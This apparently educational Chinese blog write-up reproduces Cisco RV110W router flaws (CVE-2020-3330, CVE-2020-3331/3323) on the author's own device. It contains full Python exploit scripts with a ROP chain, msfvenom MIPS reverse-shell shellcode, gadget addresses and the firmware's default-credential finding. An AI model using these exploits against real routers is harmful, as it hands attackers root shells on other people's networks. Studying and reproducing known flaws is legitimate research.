<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    ?RV110W路由器漏洞復現

    VSole2021-10-31 06:43:42
    xuanxuan老師種草了~,"一定要摸真實的設備"這句話余音繞梁,終于狠下心買了一個二手的RV110W,開始我的路由器漏洞復現之路,希望能學到點東西!

    0x00 開端

    拿到路由器接上電源網線,電腦連接上RV100W就遇到了第一個問題,怎么進入后臺?好吧,萌新沒怎么玩過路由器,都是按照路由器背面的IP來登錄,好巧不巧,它的背面很干凈,啥都沒有,看lemon師傅的視頻看到10.10.10.1興致沖沖的去訪問,結果進了一個交換機的登錄界面,奇了怪了,后來詢問lemon師傅,要看路由器的網關IP進去,至此第一個問題順利解決,初始密碼是cisco:cisco

    很順利的進入后臺,進入Administration => Firmware/Language Upgrade,看到固件的版本不對,是多少來著忘了,反正很老的一個固件,下面提供了固件的升級,我直接就拿xuanxuan老師的固件刷進去了,等了好一會,它就重啟了,再次進入就發現固件版本已經變成1.2.2.5了

    [固件鏈接]https://xuanxuanblingbling.github.io/assets/attachment/RV110W_FW_1.2.2.5.bin

    0x01 信息收集

    到這,準備工作已經完成了!

    那就開始真實環境下的漏洞復現了,首先一般我們想要找一個設備的漏洞,那得先看有什么服務吧!那么從服務很容易聯想到端口,所以最開始我們先用端口掃描

     nmap -sU -sT -p0-65535 192.168.1.1
    

    掃完了,就想看看實現,就要對固件進行解包,固件提取拿以前的一張圖來看

    這里就是xuanxuan老師那邊拿的,算是互聯網搜索吧!

    xuanxuan老師那說要安裝sasquatch這個組件,但是在AttifyOs那直接binwalk就開了???可能是AttifyOsbinwalk比較完整吧,不太清楚

    解包完成之后,查看busybox的版本是MIPS32小端序的路由器

    之后就是搜集漏洞信息

    0x02 漏洞利用

    CVE-2020-3330

    漏洞描述

    Cisco Small Business RV110W Wireless-N VPN防火墻路由器的Telnet服務中的漏洞可能允許未經身份驗證的遠程攻擊者完全控制具有高特權帳戶的設備。存在此漏洞是因為系統帳戶具有默認的靜態密碼。攻擊者可以通過使用此默認帳戶連接到受影響的系統來利用此漏洞。成功利用此漏洞可能使攻擊者獲得對受影響設備的完全控制。

    也就是說遠程服務中存在弱密碼,之前掃到23端口是開著的,所以遠程服務很大可能是telnet中存在弱口令,搜索發現大多數文件都是鏈接到rc這個文件

    > find . | xargs grep -ri "admin:\\\$"
    Binary file ./sbin/rc matches
    grep: ./usr/local/libexec/ipsec/setup: No such file or directory
    Binary file ./sbin/rc matches
    Binary file ./sbin/gpio_check matches
    Binary file ./sbin/write matches
    Binary file ./sbin/ca_manage matches
    Binary file ./sbin/ses_led matches
    Binary file ./sbin/ipsec_fqdn_detect matches
    Binary file ./sbin/sendudp matches
    Binary file ./sbin/check_ses_led matches
    Binary file ./sbin/stats matches
    Binary file ./sbin/ddns_update_data matches
    Binary file ./sbin/services matches
    Binary file ./sbin/restore matches
    Binary file ./sbin/info matches
    Binary file ./sbin/preinit matches
    Binary file ./sbin/qkvpn_rekey matches
    Binary file ./sbin/ipsec-up matches
    Binary file ./sbin/calc_vpnconn_time matches
    Binary file ./sbin/bootnv matches
    Binary file ./sbin/ipsec_wanlink matches
    Binary file ./sbin/usb_test matches
    Binary file ./sbin/icmp_echo matches
    Binary file ./sbin/cron_iaprule matches
    Binary file ./sbin/waninfo matches
    Binary file ./sbin/ntpd matches
    Binary file ./sbin/detectwan matches
    Binary file ./sbin/ipsec_fw matches
    Binary file ./sbin/ddns_success matches
    Binary file ./sbin/cpu_usage matches
    Binary file ./sbin/cron_aclrule matches
    Binary file ./sbin/firewall matches
    Binary file ./sbin/generate_md5sum matches
    Binary file ./sbin/init matches
    Binary file ./sbin/listen matches
    Binary file ./sbin/check_ps matches
    Binary file ./sbin/snmpdc matches
    Binary file ./sbin/process_monitor matches
    Binary file ./sbin/rc matches
    

    把放到IDA里面,搜字符串定位關鍵函數

    隨便翻下就有了個明文字符串,拿去解一下MD5

    密碼就出來了,我們就可以通過telnet來傳gdbserver就不用拆機器了

    CVE-2020-3331/CVE-2020-3323

    漏洞描述

    Cisco RV110W 基于Web的管理界面中的漏洞可能允許未經身份驗證的遠程攻擊者在受影響的設備上執行任意代碼。該漏洞是由于基于Web的管理界面未正確驗證用戶提供的輸入數據而引起的。攻擊者可以通過向特定設備發送精心設計的請求來利用此漏洞。成功的利用可能使攻擊者利用root用戶的特權執行任意代碼。

    總結一下:

    • web管理界面存在漏洞
    • 未正確驗證用戶提供的輸入數據(猜測是棧溢出)

    Diff

    1.2.2.5這個固件的版本相對來說比較舊,所以一個很常用的手法就是去diff文件,拿已經修復此漏洞的固件進行diff,能夠更容易的去定位漏洞點,diff有倆常見的工具,bindiffdiaphora

    bindiff

    [bindiff下載鏈接]https://www.zynamics.com/software.html

    .msi下載就行,安裝路徑為IDA的主目錄,之后打開IDA在插件那邊就能看見bindiff了,把要比對的文件先打開再保存成idb文件,然后點bindiff選擇要比對的idb就能開始比對啦!

    ps:user的目錄不要有中文,否則你會很不幸

    8越往下滑呢!它就越有可能是目標,因為越下面就越不匹配,由于漏洞描述是前臺的洞,所以選中的那個函數有可能就是目標,這里簡單講講我認識什么的前臺什么的后臺?

    前臺:與用戶進行交互的界面

    后臺:對用戶隱藏的那部分數據處理與邏輯處理

    查閱資料得知,每個基本塊顏色的說明:

    綠色:相同的基本塊
    黃色:修改的基本塊
    紅色:刪掉的基本塊
    灰色:新加的基本塊

    可以看到guest_logout_cgi函數看起來跟web服務有點關系,右鍵view flow graphs就可以查看匯編代碼對比,找了半天才找到,就離譜

    ps:千萬不要直接把兩個idb直接丟到idb,不然你會知道什么叫浪費時間(bindiff直接打開的分析速度感人

    除此之外,你如果對二進制的漏洞點以及危險函數比較熟悉的話,雙擊點進去,很容易就看到這個沒有限制長度的sscanf,它將過濾掉一些字符串之后輸出流到submit_button_value,往上翻看到submit_button_value的類型為const char *,確實是存放在棧上的

    sscanf(submit_button_value, "%[^;];%*[^=]=%[^]", v29, v28);
    

    現在還不能證明可以劫持返回地址,因為MIPS的匯編還有一個特點是葉子函數的返回地址是存放在寄存器上的,往上翻其實是可以看到調用get_cgi函數,所以guest_logout_cgi并不是葉子函數,到此才能真正的證明此處確實存在棧溢出的漏洞

    diaphora

    吐了,老是報錯整不好了...,bindiff也能用的啦!只不過是看匯編,diaphora可以看源碼,下次再補上...

    正則匹配

    %[ ^;];%*[ ^=]=%[ ^]是一個正則表達式,%是代表選擇,%*是過濾

    1. %[^;]:分號前的所有字符都要
    2. ;%*[^=]:分號后,等號前的字符都不要
    3. =%[^]:等號后,換行符前的所有字符都要

    看不是很懂,那就上個demo吧!

    #include 
    int main(void){
     char var1[5] = "aaa";
     char var2[5] = "bbb";
     char var3[5] = "ccc";
     const char welcome[100] = "wElc0me t= reGuIar @xpr&ss!0n w0rld;";
     sscanf(welcome,"%[^;];%*[^=]=%[^]", var1, var2, var3);
     printf("%s%s%s",var1,var2,var3);
     return 0;
    }
    

    我們看到運行結果就容易理解一些了:

    接下來就是去構造惡意的數據包,那如何去構造一個數據包呢?在前面可以知道這是web端(80端口)的服務,與它通信的協議肯定是http或者是https,所以我們肯定是去構造http的包,學過tcp/ip都知道,http的包是包含方法字段,URL,首部行以及實體的,但是這樣太麻煩了,python集成了一個庫叫[requests]https://pypi.org/project/requests/,我們只需要構造好相應的參數就可以用它來進行發包了,具體的請求方式可以參考下面的鏈接:

    [requests請求方式]https://blog.csdn.net/u013210620/article/details/80230467

    [快速上手— Requests 2.18.1 文檔]https://docs.python-requests.org/zh_CN/latest/user/quickstart.html

    回到剛剛sscanf溢出,回溯一下到底怎么樣才能到底這個分支,想要到達這個分支需要繞過下面四個判斷:

      if ( !submit_button_value )
        submit_button_value = "";
      if ( cmac_value && cip_value )
      {
     ...
        }
        if ( VERIFY_MAC_17(cmac_value) && VERIFY_IPv4(cip_value) )
        {
          if ( !strstr(submit_button_value, "status_guestnet.asp") )
            ...
    

    提取一下里面的信息:

    • 一共有三個字段,分別是cmaccipsubmit_button
    • cmaccip的值合法
    • get_cgi("submit_button")不能為空,并且submit_button_value需要包含status_guestnet.asp

    但是格式呢?雖然下面出現一些格式,但是經過測試,這三個字段的順序似乎沒有什么關系,因為前面是通過傳入指定字符串之后調用get_cgi(),所以就沒有必要特別關注他們的順序了

    fprintf(console, "  mac=[%s], ip=[%s],submit_button=[%s]", 
    cmac_value, 
    cip_value, 
    submit_button_value);
    

    逆向出這些信息之后,就可以來構造包了cmaccip只需要填入正常的mac地址和ip地址,submit_button就是我們的溢出目標,在加上必須要包含的字符串status_guestnet.asp就可以加上溢出的字符串了,這里用的是cyclic生成的字符串,因為便于后面測試溢出長度,URL在登錄的時候為"https://192.168.1.1/login.cgi",并且在下面看到下面的內容:

    fprintf(
        v17,
        "%s(%d),submit_button = [%s] url=[%s], session_id=[%s]",
        "guest_logout_cgi",
        5449,
        submit_button_value,
        v29,
        v28);
    

    所以就猜測為"https://192.168.1.1/guest_logout.cgi",由于是通過http來提交表單,所以就存在用什么方法字段來包,我們就不搞這么麻煩了,兩個都試試,發送GET報文發現并沒有什么事情發生(web頁面沒有崩潰)

    import requests
    url = "https://192.168.1.1/guest_logout.cgi"
    payload = {"cmac":"12:af:aa:bb:cc:dd","cip":"192.168.1.100","submit_button":"status_guestnet.asp"+'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'}
    requests.get(url, data=payload, verify=False, timeout=1)
    

    但是發送方法字段為POST報文的時候,發現web頁面在瘋狂轉圈圈,就是崩了

    import requests
    url = "https://192.168.1.1/guest_logout.cgi"
    payload = {"cmac":"12:af:aa:bb:cc:dd","cip":"192.168.1.100","submit_button":"status_guestnet.asp"+'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'}
    requests.post(url, data=payload, verify=False, timeout=1)
    

    確定溢出偏移

    崩了就意味著,有漏洞點的存在,那接下來就是調試的事情了,用的是海特實驗室的gdbserver,其實還有一個是gef開發者編譯的gdbserver

    [海特實驗室 IOT_Wiki]https://github.com/DasSecurity-HatLab/HatLab_IOT_Wiki

    [gef author]https://github.com/hugsy/gdb-static

    啟動一個窗口起一個簡單的http服務器

    python2:

    ?  python -m SimpleHTTPServer 8080
    

    python3:

    ?  python -m http.server 8080
    

    ps:建議啟動瀏覽器復制鏈接,真的好用!

    再啟動一個窗口telnet連接上路由器用wget(路由器里面自帶的)掛上gdbserver,就可以遠程調試了

    ?  telnet 192.168.1.1
    ?  cd tmp
    ?  wget "http://192.168.181.178:8080/home/laohu/Desktop/gdbserver"
    ?  chmod +x gdbserver
    ?  ps | grep "httpd"
    ?  ./gdbserver :1234 --attach 356#看httpd -S的進程號,另一個好像調試不了
    

    傳進去之后,惡夢才剛剛開始....我根本想不到這問題出在哪里!嘗試換終端(改成dash),換架構(在樹莓派上嘗試),換目錄(換到data目錄)之后,終于摸索到了關鍵原因----gdbserver本身,各位大師傅們的gdbservergdbserver-7.12-mipsel-mips32rel2-v1-sysv ,我死活用不了,我嘗試甚至在我朋友上的電腦上嘗試都不行,可能大師傅們的電腦是MacOS吧,咱也不知道,咱也不敢問,我最后在換到gdbserver-7.12-mipsel-i-v1-sysv之后,終于可以使用了!

    終于...下一個錯誤來了,gdb-mutilarch進行遠程調試的時候,remote上去的時候斷不下來,報下面這個錯,看到下面capstone好像出現了問題,懷疑是版本過低,重新安裝pwntools解決問題

    [5年了...Capstone 終于升級到4.0!]https://blog.csdn.net/weixin_33674976/article/details/85219451

    [解決方法]https://blog.csdn.net/zhr12321/article/details/116742894

    此處,終于看到調試界面了,淚目!!!

    來來來,問題怪又來了...,按照大師傅們的做法,按下c之后,輸入cyclic 200生成的字符串,就會崩掉,并看到PC寄存器被覆蓋...但我...沒反應啊!

    解決辦法就是先在sscanf之前下斷點(后面測試其實不用下斷點也是一樣的,然后再c,接著用exp打一下,就斷下來了,原因是因為我們本身就是attachhttpd這個進程,所以這個進程本身還在運行,如果我們打了斷點并用exp打過去的話,它就會按照以往正常的業務邏輯去執行,但是再執行的過程中被中斷了,所以...就斷了下來,再往下走的,我們就能看到PC寄存器被覆蓋了!接下來就是常規操作用cyclic -l來計算偏移

    確定好溢出的長度就可以開始利用了,基本上都是ROP+shellcode的形式,那么現在就是生成shellcode和泄露libc獲取gadget的問題了,如果不是很熟悉可以看看《MIPS PWN入門》

    shellcode

    shellcode一般來說可以使用以下四種方式獲取:

    1. msfvenom
    2. shell-storm
    3. pwntools
    4. 自己編寫(簡單的shellcode還是可以寫寫的)

    其他都有試過,msf還沒試過這里記錄一下...msf支持好多版本的shellcode,有點香!

    用下面的命令就能生成,注意IP和端口匹配:

    ?  msfvenom -p linux/mipsle/shell_reverse_tcp  LHOST=192.168.1.100 LPORT=8888 --arch mipsle --platform linux -f py -o shellcode.py 
    

    可以看到shellcode中并沒有'\x00'也就是不存在截斷問題,很不錯

    shellcode =  b""
    shellcode += b"\xfa\xff\x0f\x24\x27\x78\xe0\x01\xfd\xff\xe4\x21\xfd"
    shellcode += b"\xff\xe5\x21\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x01"
    shellcode += b"\x01\x01\xff\xff\xa2\xaf\xff\xff\xa4\x8f\xfd\xff\x0f"
    shellcode += b"\x34\x27\x78\xe0\x01\xe2\xff\xaf\xaf\x22\xb8\x0e\x3c"
    shellcode += b"\x22\xb8\xce\x35\xe4\xff\xae\xaf\x01\x65\x0e\x3c\xc0"
    shellcode += b"\xa8\xce\x35\xe6\xff\xae\xaf\xe2\xff\xa5\x27\xef\xff"
    shellcode += b"\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24\x0c\x01\x01"
    shellcode += b"\x01\xfd\xff\x11\x24\x27\x88\x20\x02\xff\xff\xa4\x8f"
    shellcode += b"\x21\x28\x20\x02\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff"
    shellcode += b"\xff\x10\x24\xff\xff\x31\x22\xfa\xff\x30\x16\xff\xff"
    shellcode += b"\x06\x28\x62\x69\x0f\x3c\x2f\x2f\xef\x35\xec\xff\xaf"
    shellcode += b"\xaf\x73\x68\x0e\x3c\x6e\x2f\xce\x35\xf0\xff\xae\xaf"
    shellcode += b"\xf4\xff\xa0\xaf\xec\xff\xa4\x27\xf8\xff\xa4\xaf\xfc"
    shellcode += b"\xff\xa0\xaf\xf8\xff\xa5\x27\xab\x0f\x02\x24\x0c\x01"
    shellcode += b"\x01\x01"
    
    總的來說還是:msf更方便好用,并且非常穩。shell-storm找到的種類多,不過偶爾需要手動修改。最后對于真實設備的利用上pwntools會有很多的問題,所以這里不推薦使用pwntools生成shellcode

    shell-storm里面的shellcode也是能用的,不過需要修改IP地址

    [200 byte Linux MIPS reverse shell shellcode by Jacob Holcomb]http://shell-storm.org/shellcode/files/shellcode-860.php

    ROP

    既然要ROP,那必然要泄露libc,但是在大部分IOT設備中,地址隨機化是不會變化的,包括這個設備,所以在maps中加載的libc地址就是它一直使用的libc地址,無論是重啟還是換固件版本甚至在RV130中,libc的基地址都一樣,這就省去了很多步驟,下面引用xuanxuan老師的一段話:

    問了常老師,再次猜測可能是為了效率,編譯的時候就把內核的這個功能干掉了,或者當前平臺壓根就不支持這個功能。先存疑,總之我們發現動態庫的基址都是不變的,故我們可以使用程序加載的動態庫中的gadget
    ?  cat /proc/356/maps
    

    可以看到很多libc,而libc.so.0的基地址是2af98000

    得到了libc基地址,只讓是尋找一些可用的gadget,我們使用IDA的插件----mipsrop,由于安裝的時候發現,它對IDA 7.5不是很支持,所以還是出了一些小問題,這里記錄一下...

    [解決IDA 無法安裝mipsrop插件]https://www.jianshu.com/p/0f5923fac8d4

    [IDA 無法安裝mipsrop插件]https://bbs.pediy.com/thread-266102.htm

    安裝成功后呢,在search中就能看到mips rop gadgets,點擊之后加載了mipsrop插件了

    可以用mipsrop.help()查看mipsrop的一些常用命令

    [mipsrop常用命令]https://www.cnblogs.com/hac425/p/9416864.html

    在上面的程序加載了很多動態鏈接庫,但是卻唯獨選擇了**/lib/libc.so.0**這個動態鏈接庫來尋找gadget,為啥呢?估計是比較熟悉吧!

    mipsrop.stackfinders()來尋找一些gadget,這些gadget都是和棧($sp)相關的:

    Python>mipsrop.stackfinders()
    ---------------------------------------------------------------------------------------------------------
    |  Address     |  Action                                              |  Control Jump                          |
    ---------------------------------------------------------------------------------------------------------
    |  0x0000BA84  |  addiu $a1,$sp,0x158+var_A0                          |  jalr  $s0                             |
    |  0x00011918  |  addiu $a2,$sp,0x68+var_40                           |  jalr  $s1                             |
    |  0x000250A8  |  addiu $s0,$sp,0x278+var_250                         |  jalr  $fp                             |
    |  0x000257A0  |  addiu $a0,$sp,0x38+var_20                           |  jalr  $s0                             |
    |  0x00025CAC  |  addiu $a0,$sp,0x38+var_20                           |  jalr  $s3                             |
    |  0x0002747C  |  addiu $a0,$sp,0x38+var_20                           |  jalr  $s3                             |
    |  0x0002CC00  |  addiu $a0,$sp,0x38+var_10                           |  jalr  $s0                             |
    |  0x0002CC08  |  addiu $a0,$sp,0x38+var_10                           |  jalr  $s1                             |
    |  0x00035DF4  |  addiu $a1,$sp,0x20+var_8                            |  jalr  $s1                             |
    |  0x0003D050  |  addiu $a0,$sp,0x30+var_18                           |  jalr  $a0                             |
    |  0x000427A8  |  addiu $s0,$sp,0xB8+var_98                           |  jalr  $s6                             |
    |  0x00042E04  |  addiu $v1,$sp,0xF0+var_D0                           |  jalr  $s1                             |
    |  0x0000D45C  |  addiu $a0,$sp,0x98+var_80                           |  jr    0x98+var_s4($sp)                |
    |  0x0000ED70  |  addiu $a1,$sp,0x20+var_8                            |  jr    0x20+var_s0($sp)                |
    |  0x0001D5FC  |  addiu $a3,$sp,0x28+var_8                            |  jr    0x28+var_s0($sp)                |
    |  0x00020100  |  addiu $a0,$sp,0x28+var_10                           |  jr    0x28+var_s0($sp)                |
    |  0x0002C060  |  addiu $a0,$sp,0x70+var_58                           |  jr    0x70+var_sC($sp)                |
    |  0x0002F800  |  addiu $a1,$sp,0x50+var_38                           |  jr    0x50+var_s0($sp)                |
    |  0x00030434  |  addiu $a0,$sp,0x30+var_18                           |  jr    0x30+var_s10($sp)               |
    |  0x00039948  |  addiu $a1,$sp,0x48+var_30                           |  jr    0x48+var_s0($sp)                |
    |  0x000399A0  |  addiu $a1,$sp,0x48+var_30                           |  jr    0x48+var_s0($sp)                |
    |  0x000399F8  |  addiu $a1,$sp,0x48+var_30                           |  jr    0x48+var_s0($sp)                |
    |  0x00039A50  |  addiu $a1,$sp,0x48+var_30                           |  jr    0x48+var_s0($sp)                |
    |  0x00039A90  |  addiu $a1,$sp,0x48+var_30                           |  jr    0x48+var_s0($sp)                |
    |  0x00039AFC  |  addiu $a1,$sp,0x48+var_30                           |  jr    0x48+var_s0($sp)                |
    |  0x00039B5C  |  addiu $a1,$sp,0x48+var_30                           |  jr    0x48+var_s0($sp)                |
    |  0x0003A844  |  addiu $a0,$sp,0x50+var_38                           |  jr    0x50+var_4($sp)                 |
    |  0x0003D05C  |  addiu $a0,$sp,0x30+var_18                           |  jr    0x30+var_s0($sp)                |
    |  0x0004BAA8  |  addiu $a1,$sp,0x3020+var_1008                       |  jr    0x3020+var_s24($sp)             |
    |  0x0004D314  |  addiu $a2,$sp,0x20+var_8                            |  jr    0x20+var_s0($sp)                |
    |  0x0004D484  |  addiu $a2,$sp,0x20+var_8                            |  jr    0x20+var_s0($sp)                |
    |  0x0004D8E4  |  addiu $a2,$sp,0x20+var_8                            |  jr    0x20+var_s0($sp)                |
    ---------------------------------------------------------------------------------------------------------
    Found 32 matching gadgets
    Python>mipsrop.find("mov $t9,$a0")
    ---------------------------------------------------------------------------------------------------------
    |  Address     |  Action                                              |  Control Jump                          |
    ---------------------------------------------------------------------------------------------------------
    |  0x0003D050  |  move $t9,$a0                                        |  jalr  $a0                             |
    ---------------------------------------------------------------------------------------------------------
    Found 1 matching gadgets
    

    找到兩條可用的gadget

    |  0x000257A0  |  addiu $a0,$sp,0x38+var_20  |  jalr  $s0  |
    |  0x0003D050  |  move $t9,$a0  |  jalr  $a0  |
    

    算一下溢出到$s0的偏移0x55-0xe4+0xc0 = 0x31(49),其實可以直接用cyclic來計算到$s0的偏移,因為在之前溢出中可以看到$s0被溢出成了'aaan'

    ?  cyclic -l 'aaan'
    49
    

    再看看shellcode的偏移,暫時還不會在ghidra上用mipsrop的插件,就用了個笨辦法,在IDA上先找gadget然后,再來ghidra看偏移,可以看到我們shellcode的偏移為0x18,至此,所有的準備工作已經完成!!!

    再啟動一個終端,監聽shellcode中回連的端口,等待反彈shell

    完整exp

    import requests
    from pwn import *
    context(arch='mips',endian='little',os='linux')
    libc = 0x2af98000
    jmp_a0 = libc + 0x0003D050  # move  $t9,$a0             ; jalr  $a0
    jmp_s0 = libc + 0x000257A0  # addiu $a0,$sp,0x38+var_20 ; jalr  $s0
    shellcode =  b""
    shellcode += b"\xfa\xff\x0f\x24\x27\x78\xe0\x01\xfd\xff\xe4\x21\xfd"
    shellcode += b"\xff\xe5\x21\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x01"
    shellcode += b"\x01\x01\xff\xff\xa2\xaf\xff\xff\xa4\x8f\xfd\xff\x0f"
    shellcode += b"\x34\x27\x78\xe0\x01\xe2\xff\xaf\xaf\x22\xb8\x0e\x3c"
    shellcode += b"\x22\xb8\xce\x35\xe4\xff\xae\xaf\x01\x65\x0e\x3c\xc0"
    shellcode += b"\xa8\xce\x35\xe6\xff\xae\xaf\xe2\xff\xa5\x27\xef\xff"
    shellcode += b"\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24\x0c\x01\x01"
    shellcode += b"\x01\xfd\xff\x11\x24\x27\x88\x20\x02\xff\xff\xa4\x8f"
    shellcode += b"\x21\x28\x20\x02\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff"
    shellcode += b"\xff\x10\x24\xff\xff\x31\x22\xfa\xff\x30\x16\xff\xff"
    shellcode += b"\x06\x28\x62\x69\x0f\x3c\x2f\x2f\xef\x35\xec\xff\xaf"
    shellcode += b"\xaf\x73\x68\x0e\x3c\x6e\x2f\xce\x35\xf0\xff\xae\xaf"
    shellcode += b"\xf4\xff\xa0\xaf\xec\xff\xa4\x27\xf8\xff\xa4\xaf\xfc"
    shellcode += b"\xff\xa0\xaf\xf8\xff\xa5\x27\xab\x0f\x02\x24\x0c\x01"
    shellcode += b"\x01\x01"
    pd1 = "status_guestnet.asp" + 'a' * 0x31 + p32(jmp_a0) + 'b' * (85 - 0x31 - 4) + p32(jmp_s0) + 'c' * 0x18 + shellcode
    url = "https://192.168.1.1/guest_logout.cgi"
    pd2 = {
        "cmac": "12:af:aa:bb:cc:dd",
        "submit_button": pd1,
        "cip": "192.168.1.100"
    }
    requests.packages.urllib3.disable_warnings()
    requests.post(url, data=pd2, verify=False, timeout=1)
    

    監聽的終端已經看到反彈shell了,淚目~

    exp的另一種寫法,加入pwntoolswait_for_connection模塊來實現的,這樣就不用開多一個終端監聽:

    from pwn import *
    import thread,requests
    context(arch='mips',endian='little',os='linux')
    libc = 0x2af98000
    jmp_a0 = libc + 0x0003D050  # move $t9,$a0 ; jalr $a0 
    jmp_s0 = libc + 0x000257A0  # addiu $a0,$sp,0x38+var_20 ; jalr $s0 
    #LHOST=192.168.1.101 LPORT=8888 
    buf =  b""
    buf += b"\xfa\xff\x0f\x24\x27\x78\xe0\x01\xfd\xff\xe4\x21\xfd"
    buf += b"\xff\xe5\x21\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x01"
    buf += b"\x01\x01\xff\xff\xa2\xaf\xff\xff\xa4\x8f\xfd\xff\x0f"
    buf += b"\x34\x27\x78\xe0\x01\xe2\xff\xaf\xaf\x22\xb8\x0e\x3c"
    buf += b"\x22\xb8\xce\x35\xe4\xff\xae\xaf\x01\x65\x0e\x3c\xc0"
    buf += b"\xa8\xce\x35\xe6\xff\xae\xaf\xe2\xff\xa5\x27\xef\xff"
    buf += b"\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24\x0c\x01\x01"
    buf += b"\x01\xfd\xff\x11\x24\x27\x88\x20\x02\xff\xff\xa4\x8f"
    buf += b"\x21\x28\x20\x02\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff"
    buf += b"\xff\x10\x24\xff\xff\x31\x22\xfa\xff\x30\x16\xff\xff"
    buf += b"\x06\x28\x62\x69\x0f\x3c\x2f\x2f\xef\x35\xec\xff\xaf"
    buf += b"\xaf\x73\x68\x0e\x3c\x6e\x2f\xce\x35\xf0\xff\xae\xaf"
    buf += b"\xf4\xff\xa0\xaf\xec\xff\xa4\x27\xf8\xff\xa4\xaf\xfc"
    buf += b"\xff\xa0\xaf\xf8\xff\xa5\x27\xab\x0f\x02\x24\x0c\x01"
    buf += b"\x01\x01"
    url = "https://192.168.1.1/guest_logout.cgi"
    pd1 = "status_guestnet.asp"+'a'*49+p32(jmp_a0)+'b'*(85-49-4)+p32(jmp_s0)+'c'*0x18+buf
    pd2 = {"cmac":"12:af:aa:bb:cc:dd","submit_button":pd1,"cip":"192.168.1.100"}
    def attack():
        try: 
            requests.packages.urllib3.disable_warnings()
            requests.post(url, data=pd2, verify=False,timeout=1)
        except: 
            pass
    io = listen(8888)
    #創建一個TCP或UDP套接字以接收數據 
    thread.start_new_thread(attack,())
    #開始一個新的線程,從attack函數開始運行 
    io.wait_for_connection()
    #阻塞直到建立連接 
    log.success("getshell")
    io.interactive()
    

    0x03 總結

    xuanxuan老師帶坑的第一個真實的IOT設備,復現之路異常坎坷,但不管怎么樣最終還是復現出來了,學到不少知識,不過還有一些細節問題還沒解決,后面慢慢看吧!加油,路還很長,任重而道遠!通過之前的復現,思考到底如何對一個新設備進行漏洞挖掘,我認為在IOT設備中的漏洞挖掘的基本思路:信息收集(掃描端口,查看是否有特殊的接口)-> 提取固件(shell打包,互聯網搜索,編程器提取) -> 逆向分析固件(從服務和端口來入手分析,從常見的漏洞點來看,比如MQTT,WEB服務等等,用fuzz固件的方式定位危險函數進而分析) -> 漏洞測試,下面的文章的分析思路還是很清楚的可以參考學習學習:

    [海康螢石智能門鎖的網關分析]https://bbs.pediy.com/thread-261679-1.htm

    0x04 參考文章

    [思科路由器 RV110W CVE-2020-3331 漏洞復現]https://xuanxuanblingbling.github.io/iot/2020/10/26/rv110w/

    [360代碼衛士幫助思科公司修復多個產品高危安全漏洞(附詳細技術分析)]https://www.anquanke.com/post/id/159183

    [強網杯2020決賽 Cisco RV110W路由器復現]https://la13x.github.io/2021/08/31/Real-World-Cisco-RV110W/#%E6%BC%8F%E6%B4%9E%E6%8C%96%E6%8E%98

    [思科路由器RV110W-CVE-2020-3331/CVE-2020-3323漏洞復現]https://xiaoxin.zone/2021/02/06/si-ke-lu-you-qi-rv110w-cve-2020-3331-cve-2020-3323-lou-dong-fu-xian/

    漏洞漏洞挖掘
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    src漏洞挖掘淺談
    2023-02-20 11:22:13
    信息收集就說到這里,信息收集的主要目的就是擴大可利用面,10000萬個資產你可能碰到弱口令,但1個資產你肯定沒有弱口令挖掘前篇前邊已經講了信息收集,在測試前為了能高效的挖掘src,就需要有數據進行測試,這個數據就是我們常說的字典,字典怎么來,整理,收集,經驗,積累。金額,數量都是可以篡改的地方小結挖掘src漏洞最主要還是挖掘邏輯漏洞,無非就是耐心,細節,多留意數據包的可疑數據,數據包所實現的功能。
    首先要上分那么一定是批量刷漏洞,不然不可能上得了分的,然后呢,既然要批量刷漏洞。兩種思路:1.審計通用性漏洞2.用大佬已公布的漏洞思路1難度較大,耗時也較長。思路2難度適中,就是需要寫腳本或者使用別人已經寫好的腳本。這是泛微繼與微信企業號合作后,又一個社交化管理平臺的落地成果。簡單的說,一般比較大的企業都會用這個平臺來做一些釘釘或者微信接口對接泛微OA的功能。
    關于漏洞的基礎知識
    2022-07-20 09:44:23
    黑客可以通過修改事件完成的順序來改變應用的行為。所以,進行有效的驗證是安全處理文件的重要保證。這種類型的漏洞有可能是編程人員在編寫程序時,因為程序的邏輯設計不合理或者錯誤而造成的程序邏輯漏洞。這種類型的漏洞最典型的是緩沖區溢出漏洞,它也是被黑客利用得最多的一種類型的漏洞
    網絡安全漏洞(以下簡稱“漏洞”)作為信息通信網絡中在硬件、軟件、協議的具體實現或系統安全策略上存在的缺陷,隨著經濟社會信息化、網絡化、數字化和智能化程度的加深,對國家網絡安全的影響也日益加劇。世界各主要國家和組織為了切實提升國家網絡安全防護能力,圍繞漏洞的研究、收集和利用,紛紛建立國家級漏洞通報平臺或漏洞數據庫。日本于2003年開始建設“日本漏洞通報”(JVN)平臺;美國于 2005 年開始建設“
    細說從0開始挖掘cms-
    2022-08-17 16:26:57
    確立目標挖洞的第一步首先是確立一個目標,也就是找個cms來挖,這里可以通過github,gitee或者谷歌百度直接去搜cms。或者cnvd查看相應的信息,通過查看相應的信息可以提高我們挖洞的效率,我們從中可以知道該項目已經存在漏洞,我們到時候挖就可以看看相應的地方會不會還存在漏洞或者避免挖到別人挖過的漏洞。本次挖掘漏洞是ofcms,首先先下載一下源碼,然后解壓丟一邊,回到網頁來看一下項目文檔。
